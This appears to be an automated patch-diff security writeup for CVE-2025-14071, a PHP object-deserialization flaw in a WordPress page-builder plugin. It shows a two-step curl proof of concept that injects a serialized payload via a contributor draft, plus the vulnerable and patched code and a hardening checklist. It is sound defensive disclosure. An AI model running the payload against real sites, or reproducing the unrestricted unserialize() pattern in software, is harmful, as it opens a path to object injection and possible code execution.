ANALYSIS · ffe66ce2· FINISHED 2025-12-22 · PATCHDIFF

Folder Analysiscache/live-composer-page-builder_2.0.2 → cache/live-composer-page-builder_2.0.3✓ COMPLETED

Files15

Vulnerable2

True positives1

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2025-14071

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 15 CVE 1 Vuln 2

SORT

1 files · page 1/1

modules/posts/module.php

AI: 1 vulnerabilities

CWE-502: Deserialization of Untrusted Data CVE-2025-14071 1 TP

#%!d(float64=009)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2025-14071

Security writeup for CVE-2025-14071

✓ 1 FILE

## The Exploit

Attacker needs authenticated Contributor-level access or higher to inject serialized content into the `dslc_module_posts_output` shortcode.

```bash
# 1) create a draft post containing a malicious serialized shortcode payload
curl -s -X POST 'https://TARGET/wp-json/wp/v2/posts' \
  -H 'Authorization: Bearer YOUR_TOKEN' \
  -H 'Content-Type: application/json' \
  --data-raw '{
    "title":"CVE-2025-14071 PoC",
    "status":"draft",
    "content":"[dslc_module_posts_output]O:8:\"stdClass\":1:{s:4:\"data\";s:6:\"pwned!\";}[/dslc_module_posts_output]"
  }'
```

```bash
# 2) preview the draft and trigger shortcode rendering
curl -s 'https://TARGET/?p=POST_ID&preview=true'
```

The preview request renders the post and sends the malicious serialized payload into the vulnerable shortcode handler. On a vulnerable site this path accepts the object payload and reaches `unserialize()` without class restrictions, proving the unsafe deserialization point; if a gadget chain exists elsewhere, this becomes an RCE vector.

## What the Patch Did

Before

```php
// Uncode module options passed as serialized content.
$data = @unserialize( $content );

if ( $data !== false ) {
    $options = unserialize( $content );
} else {
    $fixed_data = preg_replace_callback( '!s:(\d+):"(.*?)";!', function( $match ) {
        return ( $match[1] == strlen( $match[2] ) ) ? $match[0] : 's:' . strlen( $match[2] ) . ':"' . $match[2] . '";';
    }, $content );
    $options = unserialize( $fixed_data );
}
```

After

```php
// 1. Try JSON DECODING (New, secure format)
$options = json_decode( $content, true );

// 2. Fallback to PHP unserialize if JSON fails
// This handles all existing content saved in the serialized format.
if ( ! is_array( $options ) ) {

// Define the secure unserialize arguments based on PHP version.
    $unserialize_args = ( version_compare( PHP_VERSION, '7.0.0', '>=' ) )
        ? array( 'allowed_classes' => false ) // Secure on PHP 7.0+
        : null; // Allows object injection on older PHP, but this is the necessary trade-off for legacy data loading.
                // For maximum security, you should deprecate support for PHP < 7.0.

// Try standard unserialize with object injection blocked
    $options = @unserialize( $content, $unserialize_args );

// Fallback for broken serialization string length (from original code)
    if ( $options === false ) {
        $fixed_data = preg_replace_callback( '!s:(\d+):"(.*?)";!', function( $match ) {
            return ( $match[1] == strlen( $match[2] ) ) ? $match[0] : 's:' . strlen( $match[2] ) . ':"' . $match[2] . '";';
        }, $content );
        // Try to unserialize the fixed string, still blocking objects
        $options = @unserialize( $fixed_data, $unserialize_args );
    }
}

// 3. Final Validation
if ( ! is_array( $options ) ) {
    // Data is invalid or failed to deserialize securely.
    return '';
}

// Optional: Validate that required keys exist (as suggested in the third developer solution)
$required_keys = array( 'post_type', 'amount', 'pagination_type' );
foreach ( $required_keys as $key ) {
    if ( ! isset( $options[ $key ] ) ) {
        return '';
    }
}

// Use the now-validated $options array for the rest of the module logic
$opts = $options;
```

The patch added a secure deserialization control: it now prefers `json_decode(..., true)` for new content and, for legacy data, restricts PHP deserialization with `unserialize($content, ['allowed_classes' => false])`, plus it validates that the result is an array before continuing.

## Root Cause

This was an insecure deserialization bug (CWE-502). A contributor-controlled post body could contain the raw shortcode payload in `post_content`, which WordPress passes into `dslc_module_posts_output` as `$content`. The vulnerable code called `unserialize($content)` directly, crossing the trust boundary from user-controlled shortcode content into PHP object deserialization without `allowed_classes` restrictions and without verifying the result was an array.

## Why It Works

The single load-bearing fix is the `@unserialize( $content, $unserialize_args );` call with `allowed_classes => false` on PHP 7+. Without that line, object injection remains possible because the code would still accept serialized objects. The `json_decode()` addition is a safer default for new payloads, and the final `is_array()` validation is defence-in-depth to reject non-array legacy values; but the critical security control is blocking object instantiation during unserialization.

## Hardening Checklist

- Prefer `json_decode($data, true)` over `unserialize()` for stored plugin payloads.
- If legacy serialization must be supported on PHP 7+, call `unserialize($data, ['allowed_classes' => false])`.
- After deserialization, validate the type with `is_array()` before using the result.
- Use explicit key checks like `isset($options['post_type'])` before consuming deserialized module options.
- Restrict write access to module content with WordPress capability checks such as `current_user_can('edit_posts')` or the appropriate shortcode entrypoint guard.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2025-14071

CVE CVE-2025-14071

PRODUCT Folder Analysis

AFFECTED ≤ cache/live-composer-page-builder_2.0.2

FIXED IN cache/live-composer-page-builder_2.0.3

STATUS Generated

Security writeup · CVE-2025-14071

Source files · 1

modules/posts/module.php Linked

↗ NVD